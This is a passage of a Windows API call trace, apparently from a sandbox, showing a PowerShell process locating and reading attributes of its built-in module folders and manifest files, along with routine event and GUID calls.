lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec0 | out: lpFileInformation=0x5bdeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0154.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebf8) returned 1 [0154.323] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0154.323] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0154.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebfc) returned 1 [0154.323] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec0 | out: lpFileInformation=0x5bdeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0154.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebf8) returned 1 [0154.324] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0154.324] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0154.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebfc) returned 1 [0154.324] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec0 | out: lpFileInformation=0x5bdeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0154.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebf8) returned 1 [0154.324] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0154.324] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0154.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebfc) returned 1 [0154.324] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec0 | out: lpFileInformation=0x5bdeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0154.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebf8) returned 1 [0154.325] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0154.325] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0154.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebfc) returned 1 [0154.325] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec0 | out: lpFileInformation=0x5bdeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0154.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebf8) returned 1 [0154.325] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0154.325] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0154.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebfc) returned 1 [0154.325] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec0 | out: lpFileInformation=0x5bdeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0154.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebf8) returned 1 [0154.326] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0154.326] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0154.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebfc) returned 1 [0154.326] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec0 | out: lpFileInformation=0x5bdeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0154.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebf8) returned 1 [0154.326] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0154.326] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0154.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebfc) returned 1 [0154.326] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec0 | out: lpFileInformation=0x5bdeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0154.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebf8) returned 1 [0154.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdeeac) returned 1 [0154.327] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0154.327] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0154.327] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*", lpFindFileData=0x5bdec5c | out: lpFindFileData=0x5bdec5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5b67f8 [0154.327] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.328] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0154.328] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0154.328] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0154.328] FindClose (in: hFindFile=0x5b67f8 | out: hFindFile=0x5b67f8) returned 1 [0154.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdec1c) returned 1 [0154.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdee7c) returned 1 [0154.328] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0154.328] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0154.328] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0154.328] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0154.328] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0154.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdec24) returned 1 [0154.328] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2316b40 | out: lpFileInformation=0x2316b40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0154.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdec20) returned 1 [0154.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdeeac) returned 1 [0154.329] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0154.329] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0154.329] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\*", lpFindFileData=0x5bdec5c | out: lpFindFileData=0x5bdec5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5b67f8 [0154.329] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.329] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 1 [0154.329] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 0 [0154.329] FindClose (in: hFindFile=0x5b67f8 | out: hFindFile=0x5b67f8) returned 1 [0154.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdec1c) returned 1 [0154.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdee7c) returned 1 [0154.333] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0154.334] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0154.334] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0154.334] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0154.334] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0154.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdec24) returned 1 [0154.334] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2317304 | out: lpFileInformation=0x2317304*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0154.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdec20) returned 1 [0154.336] CoCreateGuid (in: pguid=0x5bdeef4 | out: pguid=0x5bdeef4*(Data1=0x56e44255, Data2=0x6ee, Data3=0x480a, Data4=([0]=0xa8, [1]=0x96, [2]=0x24, [3]=0xf0, [4]=0xc7, [5]=0x7b, [6]=0x1a, [7]=0x87))) returned 0x0 [0154.345] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3c8 [0154.345] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3cc [0154.345] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3e8 [0154.345] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3ec [0154.346] SetEvent (hEvent=0x3ec) returned 1 [0154.346] SetEvent (hEvent=0x3c8) returned 1 [0154.346] SetEvent (hEvent=0x3cc) returned 1 [0154.346] SetEvent (hEvent=0x3e8) returned 1 [0154.347] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3f0 [0154.347] SetThreadUILanguage (LangId=0x0) returned 0x409 [0154.409] EtwEventActivityIdControl () returned 0x0 [0154.409] EtwEventActivityIdControl () returned 0x0 [0154.409] EtwEventActivityIdControl () returned 0x0 [0154.444] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0154.445] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0154.445] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0154.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde720) returned 1 [0154.445] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bde9e4 | out: lpFileInformation=0x5bde9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0154.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde71c) returned 1 [0154.446] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0154.482] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 